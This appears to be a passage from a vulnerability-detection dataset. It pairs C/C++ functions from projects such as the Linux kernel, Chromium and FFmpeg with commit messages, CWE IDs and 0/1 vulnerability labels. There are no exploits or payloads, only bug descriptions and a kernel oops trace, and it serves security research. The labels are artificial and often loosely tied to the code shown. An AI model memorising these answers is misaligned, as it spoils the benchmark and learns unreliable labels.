if (memcmp(&x6spi->addr, saddr, sizeof(x6spi->addr)) == 0)
return x6spi;
}
return NULL;
}
Commit Message: tunnels: fix netns vs proto registration ordering
Same stuff as in ip_gre patch: receive hook can be called before netns
setup is done, oopsing in net_generic().
Signed-off-by: Alexey Dobriyan <adobriyan@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-362 | 0 | 19,132 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: virtual ~SelfDeletingDelegate() {}
Commit Message: Revert a workaround commit for a Use-After-Free crash.
Revert a workaround commit r20158 for a Use-After-Free issue (http://crbug.com/244746) because a cleaner CL r207218 is landed.
URLRequestContext does not inherit SupportsWeakPtr now.
R=mmenke
BUG=244746
Review URL: https://chromiumcodereview.appspot.com/16870008
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@207811 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 7,956 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void snd_timer_request(struct snd_timer_id *tid)
{
switch (tid->dev_class) {
case SNDRV_TIMER_CLASS_GLOBAL:
if (tid->device < timer_limit)
request_module("snd-timer-%i", tid->device);
break;
case SNDRV_TIMER_CLASS_CARD:
case SNDRV_TIMER_CLASS_PCM:
if (tid->card < snd_ecards_limit)
request_module("snd-card-%i", tid->card);
break;
default:
break;
}
}
Commit Message: ALSA: timer: Fix leak in events via snd_timer_user_tinterrupt
The stack object “r1” has a total size of 32 bytes. Its field
“event” and “val” both contain 4 bytes padding. These 8 bytes
padding bytes are sent to user without being initialized.
Signed-off-by: Kangjie Lu <kjlu@gatech.edu>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
CWE ID: CWE-200 | 0 | 11,146 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int sg_proc_seq_show_version(struct seq_file *s, void *v)
{
seq_printf(s, "%d\t%s [%s]\n", sg_version_num, SG_VERSION_STR,
sg_version_date);
return 0;
}
Commit Message: sg_start_req(): make sure that there's not too many elements in iovec
unfortunately, allowing an arbitrary 16bit value means a possibility of
overflow in the calculation of total number of pages in bio_map_user_iov() -
we rely on there being no more than PAGE_SIZE members of sum in the
first loop there. If that sum wraps around, we end up allocating
too small array of pointers to pages and it's easy to overflow it in
the second loop.
X-Coverup: TINC (and there's no lumber cartel either)
Cc: stable@vger.kernel.org # way, way back
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
CWE ID: CWE-189 | 0 | 11,319 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ResourceLoadPriority TypeToPriority(Resource::Type type) {
switch (type) {
case Resource::kMainResource:
case Resource::kCSSStyleSheet:
case Resource::kFont:
return kResourceLoadPriorityVeryHigh;
case Resource::kXSLStyleSheet:
DCHECK(RuntimeEnabledFeatures::XSLTEnabled());
case Resource::kRaw:
case Resource::kImportResource:
case Resource::kScript:
return kResourceLoadPriorityHigh;
case Resource::kManifest:
case Resource::kMock:
return kResourceLoadPriorityMedium;
case Resource::kImage:
case Resource::kTextTrack:
case Resource::kMedia:
case Resource::kSVGDocument:
return kResourceLoadPriorityLow;
case Resource::kLinkPrefetch:
return kResourceLoadPriorityVeryLow;
}
NOTREACHED();
return kResourceLoadPriorityUnresolved;
}
Commit Message: DevTools: send proper resource type in Network.RequestWillBeSent
This patch plumbs resoure type into the DispatchWillSendRequest
instrumenation. This allows us to report accurate type in
Network.RequestWillBeSent event, instead of "Other", that we report
today.
BUG=765501
R=dgozman
Change-Id: I0134c08b841e8dd247fdc8ff208bfd51e462709c
Reviewed-on: https://chromium-review.googlesource.com/667504
Reviewed-by: Pavel Feldman <pfeldman@chromium.org>
Reviewed-by: Dmitry Gozman <dgozman@chromium.org>
Commit-Queue: Andrey Lushnikov <lushnikov@chromium.org>
Cr-Commit-Position: refs/heads/master@{#507936}
CWE ID: CWE-119 | 0 | 718 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void FakeCentral::SetNextWriteCharacteristicResponse(
uint16_t gatt_code,
const std::string& characteristic_id,
const std::string& service_id,
const std::string& peripheral_address,
SetNextWriteCharacteristicResponseCallback callback) {
FakeRemoteGattCharacteristic* fake_remote_gatt_characteristic =
GetFakeRemoteGattCharacteristic(peripheral_address, service_id,
characteristic_id);
if (fake_remote_gatt_characteristic == nullptr) {
std::move(callback).Run(false);
}
fake_remote_gatt_characteristic->SetNextWriteResponse(gatt_code);
std::move(callback).Run(true);
}
Commit Message: bluetooth: Implement getAvailability()
This change implements the getAvailability() method for
navigator.bluetooth as defined in the specification.
Bug: 707640
Change-Id: I9e9b3e7f8ea7f259e975f71cb6d9570e5f04b479
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1651516
Reviewed-by: Chris Harrelson <chrishtr@chromium.org>
Reviewed-by: Giovanni Ortuño Urquidi <ortuno@chromium.org>
Reviewed-by: Kinuko Yasuda <kinuko@chromium.org>
Commit-Queue: Ovidio de Jesús Ruiz-Henríquez <odejesush@chromium.org>
Auto-Submit: Ovidio de Jesús Ruiz-Henríquez <odejesush@chromium.org>
Cr-Commit-Position: refs/heads/master@{#688987}
CWE ID: CWE-119 | 0 | 6,977 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: const Cluster* Segment::GetLast() const
{
if ((m_clusters == NULL) || (m_clusterCount <= 0))
return &m_eos;
const long idx = m_clusterCount - 1;
Cluster* const pCluster = m_clusters[idx];
assert(pCluster);
return pCluster;
}
Commit Message: libwebm: Pull from upstream
Rolling mkvparser from upstream. Primarily for fixing a bug on parsing
failures with certain Opus WebM files.
Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae
The diff is so huge because there were some style clean ups upstream.
But it was ensured that there were no breaking changes when the style
clean ups was done upstream.
Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039
CWE ID: CWE-119 | 1 | 29,788 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: __svc_init_bc(struct svc_serv *serv)
{
}
Commit Message: Merge tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux
Pull nfsd updates from Bruce Fields:
"Another RDMA update from Chuck Lever, and a bunch of miscellaneous
bugfixes"
* tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux: (26 commits)
nfsd: Fix up the "supattr_exclcreat" attributes
nfsd: encoders mustn't use unitialized values in error cases
nfsd: fix undefined behavior in nfsd4_layout_verify
lockd: fix lockd shutdown race
NFSv4: Fix callback server shutdown
SUNRPC: Refactor svc_set_num_threads()
NFSv4.x/callback: Create the callback service through svc_create_pooled
lockd: remove redundant check on block
svcrdma: Clean out old XDR encoders
svcrdma: Remove the req_map cache
svcrdma: Remove unused RDMA Write completion handler
svcrdma: Reduce size of sge array in struct svc_rdma_op_ctxt
svcrdma: Clean up RPC-over-RDMA backchannel reply processing
svcrdma: Report Write/Reply chunk overruns
svcrdma: Clean up RDMA_ERROR path
svcrdma: Use rdma_rw API in RPC reply path
svcrdma: Introduce local rdma_rw API helpers
svcrdma: Clean up svc_rdma_get_inv_rkey()
svcrdma: Add helper to save pages under I/O
svcrdma: Eliminate RPCRDMA_SQ_DEPTH_MULT
...
CWE ID: CWE-404 | 0 | 18,163 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ProfileImplIOData::Handle::GetMediaRequestContextGetter() const {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));
LazyInitialize();
if (!media_request_context_getter_) {
media_request_context_getter_ =
ChromeURLRequestContextGetter::CreateOriginalForMedia(
profile_, io_data_);
}
return media_request_context_getter_;
}
Commit Message: Give the media context an ftp job factory; prevent a browser crash.
BUG=112983
TEST=none
Review URL: http://codereview.chromium.org/9372002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@121378 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119 | 0 | 28,390 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool AudioFlinger::EffectChain::isNonOffloadableEnabled()
{
Mutex::Autolock _l(mLock);
size_t size = mEffects.size();
for (size_t i = 0; i < size; i++) {
if (mEffects[i]->isEnabled() && !mEffects[i]->isOffloadable()) {
return true;
}
}
return false;
}
Commit Message: Add EFFECT_CMD_SET_PARAM parameter checking
Bug: 30204301
Change-Id: Ib9c3ee1c2f23c96f8f7092dd9e146bc453d7a290
(cherry picked from commit e4a1d91501d47931dbae19c47815952378787ab6)
CWE ID: CWE-200 | 0 | 27,943 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: xsltFreeStackElem(xsltStackElemPtr elem) {
if (elem == NULL)
return;
if (elem->value != NULL)
xmlXPathFreeObject(elem->value);
/*
* Release the list of temporary Result Tree Fragments.
*/
if (elem->fragment) {
xmlDocPtr cur;
while (elem->fragment != NULL) {
cur = elem->fragment;
elem->fragment = (xmlDocPtr) cur->next;
if (elem->context &&
(cur->psvi == (void *) ((long) 1)))
{
/*
* This fragment is a result of an extension instruction
* (e.g. XSLT's function) and needs to be preserved until
* the instruction exits.
* Example: The fragment of the variable must not be freed
* since it is returned by the EXSLT function:
* <f:function name="foo">
* <xsl:variable name="bar">
* <bar/>
* </xsl:variable>
* <f:result select="$bar"/>
* </f:function>
*
*/
xsltRegisterLocalRVT(elem->context, cur);
} else {
xsltReleaseRVT((xsltTransformContextPtr) elem->context,
cur);
}
}
}
/*
* Cache or free the variable structure.
*/
if (elem->context && (elem->context->cache->nbStackItems < 50)) {
/*
* Store the item in the cache.
*/
xsltTransformContextPtr ctxt = elem->context;
memset(elem, 0, sizeof(xsltStackElem));
elem->context = ctxt;
elem->next = ctxt->cache->stackItems;
ctxt->cache->stackItems = elem;
ctxt->cache->nbStackItems++;
#ifdef XSLT_DEBUG_PROFILE_CACHE
ctxt->cache->dbgCachedVars++;
#endif
return;
}
xmlFree(elem);
}
Commit Message: Roll libxslt to 891681e3e948f31732229f53cb6db7215f740fc7
BUG=583156,583171
Review URL: https://codereview.chromium.org/1853083002
Cr-Commit-Position: refs/heads/master@{#385338}
CWE ID: CWE-119 | 0 | 11,647 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int http_open_cnx(URLContext *h, AVDictionary **options)
{
HTTPAuthType cur_auth_type, cur_proxy_auth_type;
HTTPContext *s = h->priv_data;
int location_changed, attempts = 0, redirects = 0;
redo:
av_dict_copy(options, s->chained_options, 0);
cur_auth_type = s->auth_state.auth_type;
cur_proxy_auth_type = s->auth_state.auth_type;
location_changed = http_open_cnx_internal(h, options);
if (location_changed < 0)
goto fail;
attempts++;
if (s->http_code == 401) {
if ((cur_auth_type == HTTP_AUTH_NONE || s->auth_state.stale) &&
s->auth_state.auth_type != HTTP_AUTH_NONE && attempts < 4) {
ffurl_closep(&s->hd);
goto redo;
} else
goto fail;
}
if (s->http_code == 407) {
if ((cur_proxy_auth_type == HTTP_AUTH_NONE || s->proxy_auth_state.stale) &&
s->proxy_auth_state.auth_type != HTTP_AUTH_NONE && attempts < 4) {
ffurl_closep(&s->hd);
goto redo;
} else
goto fail;
}
if ((s->http_code == 301 || s->http_code == 302 ||
s->http_code == 303 || s->http_code == 307) &&
location_changed == 1) {
/* url moved, get next */
ffurl_closep(&s->hd);
if (redirects++ >= MAX_REDIRECTS)
return AVERROR(EIO);
/* Restart the authentication process with the new target, which
* might use a different auth mechanism. */
memset(&s->auth_state, 0, sizeof(s->auth_state));
attempts = 0;
location_changed = 0;
goto redo;
}
return 0;
fail:
if (s->hd)
ffurl_closep(&s->hd);
if (location_changed < 0)
return location_changed;
return ff_http_averror(s->http_code, AVERROR(EIO));
}
Commit Message: http: make length/offset-related variables unsigned.
Fixes #5992, reported and found by Paul Cher <paulcher@icloud.com>.
CWE ID: CWE-119 | 0 | 29,122 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void AutofillManager::OnDidGetRealPan(AutofillClient::PaymentsRpcResult result,
const std::string& real_pan) {
DCHECK(full_card_request_);
full_card_request_->OnDidGetRealPan(result, real_pan);
}
Commit Message: [AF] Don't simplify/dedupe suggestions for (partially) filled sections.
Since Autofill does not fill field by field anymore, this simplifying
and deduping of suggestions is not useful anymore.
Bug: 858820
Cq-Include-Trybots: luci.chromium.try:ios-simulator-full-configs;master.tryserver.chromium.mac:ios-simulator-cronet
Change-Id: I36f7cfe425a0bdbf5ba7503a3d96773b405cc19b
Reviewed-on: https://chromium-review.googlesource.com/1128255
Reviewed-by: Roger McFarlane <rogerm@chromium.org>
Commit-Queue: Sebastien Seguin-Gagnon <sebsg@chromium.org>
Cr-Commit-Position: refs/heads/master@{#573315}
CWE ID: | 0 | 11,214 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: str_free(char *s)
{
free(s);
}
Commit Message: Call strlen() if name length provided is 0, like OpenSSL does.
Issue notice by Christian Heimes <christian@python.org>
ok deraadt@ jsing@
CWE ID: CWE-295 | 0 | 22,625 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static redisReply *reconnectingRedisCommand(redisContext *c, const char *fmt, ...) {
redisReply *reply = NULL;
int tries = 0;
va_list ap;
assert(!c->err);
while(reply == NULL) {
while (c->err & (REDIS_ERR_IO | REDIS_ERR_EOF)) {
printf("\r\x1b[0K"); /* Cursor to left edge + clear line. */
printf("Reconnecting... %d\r", ++tries);
fflush(stdout);
redisFree(c);
c = redisConnect(config.hostip,config.hostport);
usleep(1000000);
}
va_start(ap,fmt);
reply = redisvCommand(c,fmt,ap);
va_end(ap);
if (c->err && !(c->err & (REDIS_ERR_IO | REDIS_ERR_EOF))) {
fprintf(stderr, "Error: %s\n", c->errstr);
exit(1);
} else if (tries > 0) {
printf("\r\x1b[0K"); /* Cursor to left edge + clear line. */
}
}
context = c;
return reply;
}
Commit Message: Security: fix redis-cli buffer overflow.
Thanks to Fakhri Zulkifli for reporting it.
The fix switched to dynamic allocation, copying the final prompt in the
static buffer only at the end.
CWE ID: CWE-119 | 0 | 4,259 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: JsVar *jsvGetIndexOfFull(JsVar *arr, JsVar *value, bool matchExact, bool matchIntegerIndices, int startIdx) {
JsVarRef indexref;
assert(jsvIsArray(arr) || jsvIsObject(arr));
indexref = jsvGetFirstChild(arr);
while (indexref) {
JsVar *childIndex = jsvLock(indexref);
if (!matchIntegerIndices ||
(jsvIsInt(childIndex) && jsvGetInteger(childIndex)>=startIdx)) {
assert(jsvIsName(childIndex));
JsVar *childValue = jsvSkipName(childIndex);
if (childValue==value ||
(!matchExact && jsvMathsOpTypeEqual(childValue, value))) {
jsvUnLock(childValue);
return childIndex;
}
jsvUnLock(childValue);
}
indexref = jsvGetNextSibling(childIndex);
jsvUnLock(childIndex);
}
return 0; // undefined
}
Commit Message: fix jsvGetString regression
CWE ID: CWE-119 | 0 | 18,588 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: GetSpriteWindow(DeviceIntPtr pDev)
{
return pDev->spriteInfo->sprite->win;
}
Commit Message:
CWE ID: CWE-119 | 0 | 14,485 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: BufferMeta(const sp<IMemory> &mem, bool is_backup = false)
: mMem(mem),
mIsBackup(is_backup) {
}
Commit Message: DO NOT MERGE omx: check buffer port before using
Bug: 28816827
Change-Id: I3d5bad4a1ef96dec544b05bb31cc6f7109aae0a5
CWE ID: CWE-119 | 1 | 24,935 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: PHP_FUNCTION(openssl_csr_new)
{
struct php_x509_request req;
zval * args = NULL, * dn, *attribs = NULL;
zval * out_pkey;
X509_REQ * csr = NULL;
int we_made_the_key = 1;
long key_resource;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "az|a!a!", &dn, &out_pkey, &args, &attribs) == FAILURE) {
return;
}
RETVAL_FALSE;
PHP_SSL_REQ_INIT(&req);
if (PHP_SSL_REQ_PARSE(&req, args) == SUCCESS) {
/* Generate or use a private key */
if (Z_TYPE_P(out_pkey) != IS_NULL) {
req.priv_key = php_openssl_evp_from_zval(&out_pkey, 0, NULL, 0, &key_resource TSRMLS_CC);
if (req.priv_key != NULL) {
we_made_the_key = 0;
}
}
if (req.priv_key == NULL) {
php_openssl_generate_private_key(&req TSRMLS_CC);
}
if (req.priv_key == NULL) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to generate a private key");
} else {
csr = X509_REQ_new();
if (csr) {
if (php_openssl_make_REQ(&req, csr, dn, attribs TSRMLS_CC) == SUCCESS) {
X509V3_CTX ext_ctx;
X509V3_set_ctx(&ext_ctx, NULL, NULL, csr, NULL, 0);
X509V3_set_conf_lhash(&ext_ctx, req.req_config);
/* Add extensions */
if (req.request_extensions_section && !X509V3_EXT_REQ_add_conf(req.req_config,
&ext_ctx, req.request_extensions_section, csr))
{
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Error loading extension section %s", req.request_extensions_section);
} else {
RETVAL_TRUE;
if (X509_REQ_sign(csr, req.priv_key, req.digest)) {
RETVAL_RESOURCE(zend_list_insert(csr, le_csr TSRMLS_CC));
csr = NULL;
} else {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Error signing request");
}
if (we_made_the_key) {
/* and a resource for the private key */
zval_dtor(out_pkey);
ZVAL_RESOURCE(out_pkey, zend_list_insert(req.priv_key, le_key TSRMLS_CC));
req.priv_key = NULL; /* make sure the cleanup code doesn't zap it! */
} else if (key_resource != -1) {
req.priv_key = NULL; /* make sure the cleanup code doesn't zap it! */
}
}
}
else {
if (!we_made_the_key) {
/* if we have not made the key we are not supposed to zap it by calling dispose! */
req.priv_key = NULL;
}
}
}
}
}
if (csr) {
X509_REQ_free(csr);
}
PHP_SSL_REQ_DISPOSE(&req);
}
Commit Message:
CWE ID: CWE-754 | 0 | 19,484 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: String InputType::DroppedFileSystemId() {
NOTREACHED();
return String();
}
Commit Message: MacViews: Enable secure text input for password Textfields.
In Cocoa the NSTextInputContext automatically enables secure text input
when activated and it's in the secure text entry mode.
RenderWidgetHostViewMac did the similar thing for ages following the
WebKit example.
views::Textfield needs to do the same thing in a fashion that's
sycnrhonized with RenderWidgetHostViewMac, otherwise the race conditions
are possible when the Textfield gets focus, activates the secure text
input mode and the RWHVM loses focus immediately afterwards and disables
the secure text input instead of leaving it in the enabled state.
BUG=818133,677220
Change-Id: I6db6c4b59e4a1a72cbb7f8c7056f71b04a3df08b
Reviewed-on: https://chromium-review.googlesource.com/943064
Commit-Queue: Michail Pishchagin <mblsha@yandex-team.ru>
Reviewed-by: Pavel Feldman <pfeldman@chromium.org>
Reviewed-by: Avi Drissman <avi@chromium.org>
Reviewed-by: Peter Kasting <pkasting@chromium.org>
Cr-Commit-Position: refs/heads/master@{#542517}
CWE ID: | 0 | 22,812 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static bool kpit_is_periodic(struct kvm_timer *ktimer)
{
struct kvm_kpit_state *ps = container_of(ktimer, struct kvm_kpit_state,
pit_timer);
return ps->is_periodic;
}
Commit Message: KVM: PIT: control word is write-only
PIT control word (address 0x43) is write-only, reads are undefined.
Cc: stable@kernel.org
Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com>
CWE ID: CWE-119 | 0 | 5,951 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static bool __has_merged_page(struct f2fs_bio_info *io, struct inode *inode,
struct page *page, nid_t ino)
{
struct bio_vec *bvec;
struct page *target;
int i;
if (!io->bio)
return false;
if (!inode && !page && !ino)
return true;
bio_for_each_segment_all(bvec, io->bio, i) {
if (bvec->bv_page->mapping)
target = bvec->bv_page;
else
target = fscrypt_control_page(bvec->bv_page);
if (inode && inode == target->mapping->host)
return true;
if (page && page == target)
return true;
if (ino && ino == ino_of_node(target))
return true;
}
return false;
}
Commit Message: f2fs: fix a dead loop in f2fs_fiemap()
A dead loop can be triggered in f2fs_fiemap() using the test case
as below:
...
fd = open();
fallocate(fd, 0, 0, 4294967296);
ioctl(fd, FS_IOC_FIEMAP, fiemap_buf);
...
It's caused by an overflow in __get_data_block():
...
bh->b_size = map.m_len << inode->i_blkbits;
...
map.m_len is an unsigned int, and bh->b_size is a size_t which is 64 bits
on 64 bits archtecture, type conversion from an unsigned int to a size_t
will result in an overflow.
In the above-mentioned case, bh->b_size will be zero, and f2fs_fiemap()
will call get_data_block() at block 0 again an again.
Fix this by adding a force conversion before left shift.
Signed-off-by: Wei Fang <fangwei1@huawei.com>
Acked-by: Chao Yu <yuchao0@huawei.com>
Signed-off-by: Jaegeuk Kim <jaegeuk@kernel.org>
CWE ID: CWE-190 | 0 | 3,583 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void WebContentsImpl::SetAllowOtherViews(bool allow) {
view_->SetAllowOtherViews(allow);
}
Commit Message: Don't call WebContents::DownloadImage() callback if the WebContents were deleted
BUG=583718
Review URL: https://codereview.chromium.org/1685343004
Cr-Commit-Position: refs/heads/master@{#375700}
CWE ID: | 0 | 13,790 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int cypress_port_remove(struct usb_serial_port *port)
{
struct cypress_private *priv;
priv = usb_get_serial_port_data(port);
kfifo_free(&priv->write_fifo);
kfree(priv);
return 0;
}
Commit Message: USB: cypress_m8: add endpoint sanity check
An attack using missing endpoints exists.
CVE-2016-3137
Signed-off-by: Oliver Neukum <ONeukum@suse.com>
CC: stable@vger.kernel.org
Signed-off-by: Johan Hovold <johan@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: | 0 | 17,768 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Stop() {
if (loading()) {
data_provider()->DidFail(response_generator_->GenerateError());
base::RunLoop().RunUntilIdle();
}
data_source_->Stop();
base::RunLoop().RunUntilIdle();
}
Commit Message: Simplify "WouldTaintOrigin" concept in media/blink
Currently WebMediaPlayer has three predicates:
- DidGetOpaqueResponseFromServiceWorker
- HasSingleSecurityOrigin
- DidPassCORSAccessCheck
. These are used to determine whether the response body is available
for scripts. They are known to be confusing, and actually
MediaElementAudioSourceHandler::WouldTaintOrigin misuses them.
This CL merges the three predicates to one, WouldTaintOrigin, to remove
the confusion. Now the "response type" concept is available and we
don't need a custom CORS check, so this CL removes
BaseAudioContext::WouldTaintOrigin. This CL also renames
URLData::has_opaque_data_ and its (direct and indirect) data accessors
to match the spec.
Bug: 849942, 875153
Change-Id: I6acf50169d7445c4ff614e80ac606f79ee577d2a
Reviewed-on: https://chromium-review.googlesource.com/c/1238098
Reviewed-by: Fredrik Hubinette <hubbe@chromium.org>
Reviewed-by: Kinuko Yasuda <kinuko@chromium.org>
Reviewed-by: Raymond Toy <rtoy@chromium.org>
Commit-Queue: Yutaka Hirano <yhirano@chromium.org>
Cr-Commit-Position: refs/heads/master@{#598258}
CWE ID: CWE-732 | 0 | 25,619 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool BookmarksCreateFunction::RunImpl() {
if (!EditBookmarksEnabled())
return false;
scoped_ptr<bookmarks::Create::Params> params(
bookmarks::Create::Params::Create(*args_));
EXTENSION_FUNCTION_VALIDATE(params.get());
BookmarkModel* model = BookmarkModelFactory::GetForProfile(profile());
int64 parentId;
if (!params->bookmark.parent_id.get()) {
parentId = model->other_node()->id();
} else {
if (!GetBookmarkIdAsInt64(*params->bookmark.parent_id, &parentId))
return false;
}
const BookmarkNode* parent = model->GetNodeByID(parentId);
if (!parent) {
error_ = keys::kNoParentError;
return false;
}
if (parent->is_root()) { // Can't create children of the root.
error_ = keys::kModifySpecialError;
return false;
}
int index;
if (!params->bookmark.index.get()) { // Optional (defaults to end).
index = parent->child_count();
} else {
index = *params->bookmark.index;
if (index > parent->child_count() || index < 0) {
error_ = keys::kInvalidIndexError;
return false;
}
}
string16 title; // Optional.
if (params->bookmark.title.get())
title = UTF8ToUTF16(*params->bookmark.title.get());
std::string url_string; // Optional.
if (params->bookmark.url.get())
url_string = *params->bookmark.url.get();
GURL url(url_string);
if (!url_string.empty() && !url.is_valid()) {
error_ = keys::kInvalidUrlError;
return false;
}
const BookmarkNode* node;
if (url_string.length())
node = model->AddURL(parent, index, title, url);
else
node = model->AddFolder(parent, index, title);
DCHECK(node);
if (!node) {
error_ = keys::kNoNodeError;
return false;
}
scoped_ptr<BookmarkTreeNode> ret(
bookmark_api_helpers::GetBookmarkTreeNode(node, false, false));
results_ = bookmarks::Create::Results::Create(*ret);
return true;
}
Commit Message: Fix heap-use-after-free in BookmarksIOFunction::ShowSelectFileDialog.
BUG=177410
Review URL: https://chromiumcodereview.appspot.com/12326086
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@184586 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 21,834 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int snd_usb_cm6206_boot_quirk(struct usb_device *dev)
{
int err = 0, reg;
int val[] = {0x2004, 0x3000, 0xf800, 0x143f, 0x0000, 0x3000};
for (reg = 0; reg < ARRAY_SIZE(val); reg++) {
err = snd_usb_cm106_write_int_reg(dev, reg, val[reg]);
if (err < 0)
return err;
}
return err;
}
Commit Message: ALSA: usb-audio: Fix NULL dereference in create_fixed_stream_quirk()
create_fixed_stream_quirk() may cause a NULL-pointer dereference by
accessing the non-existing endpoint when a USB device with a malformed
USB descriptor is used.
This patch avoids it simply by adding a sanity check of bNumEndpoints
before the accesses.
Bugzilla: https://bugzilla.suse.com/show_bug.cgi?id=971125
Cc: <stable@vger.kernel.org>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
CWE ID: | 0 | 17,304 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int get_serial_info(struct edgeport_port *edge_port,
struct serial_struct __user *retinfo)
{
struct serial_struct tmp;
if (!retinfo)
return -EFAULT;
memset(&tmp, 0, sizeof(tmp));
tmp.type = PORT_16550A;
tmp.line = edge_port->port->serial->minor;
tmp.port = edge_port->port->number;
tmp.irq = 0;
tmp.flags = ASYNC_SKIP_TEST | ASYNC_AUTO_IRQ;
tmp.xmit_fifo_size = edge_port->port->bulk_out_size;
tmp.baud_base = 9600;
tmp.close_delay = 5*HZ;
tmp.closing_wait = closing_wait;
if (copy_to_user(retinfo, &tmp, sizeof(*retinfo)))
return -EFAULT;
return 0;
}
Commit Message: USB: io_ti: Fix NULL dereference in chase_port()
The tty is NULL when the port is hanging up.
chase_port() needs to check for this.
This patch is intended for stable series.
The behavior was observed and tested in Linux 3.2 and 3.7.1.
Johan Hovold submitted a more elaborate patch for the mainline kernel.
[ 56.277883] usb 1-1: edge_bulk_in_callback - nonzero read bulk status received: -84
[ 56.278811] usb 1-1: USB disconnect, device number 3
[ 56.278856] usb 1-1: edge_bulk_in_callback - stopping read!
[ 56.279562] BUG: unable to handle kernel NULL pointer dereference at 00000000000001c8
[ 56.280536] IP: [<ffffffff8144e62a>] _raw_spin_lock_irqsave+0x19/0x35
[ 56.281212] PGD 1dc1b067 PUD 1e0f7067 PMD 0
[ 56.282085] Oops: 0002 [#1] SMP
[ 56.282744] Modules linked in:
[ 56.283512] CPU 1
[ 56.283512] Pid: 25, comm: khubd Not tainted 3.7.1 #1 innotek GmbH VirtualBox/VirtualBox
[ 56.283512] RIP: 0010:[<ffffffff8144e62a>] [<ffffffff8144e62a>] _raw_spin_lock_irqsave+0x19/0x35
[ 56.283512] RSP: 0018:ffff88001fa99ab0 EFLAGS: 00010046
[ 56.283512] RAX: 0000000000000046 RBX: 00000000000001c8 RCX: 0000000000640064
[ 56.283512] RDX: 0000000000010000 RSI: ffff88001fa99b20 RDI: 00000000000001c8
[ 56.283512] RBP: ffff88001fa99b20 R08: 0000000000000000 R09: 0000000000000000
[ 56.283512] R10: 0000000000000000 R11: ffffffff812fcb4c R12: ffff88001ddf53c0
[ 56.283512] R13: 0000000000000000 R14: 00000000000001c8 R15: ffff88001e19b9f4
[ 56.283512] FS: 0000000000000000(0000) GS:ffff88001fd00000(0000) knlGS:0000000000000000
[ 56.283512] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 56.283512] CR2: 00000000000001c8 CR3: 000000001dc51000 CR4: 00000000000006e0
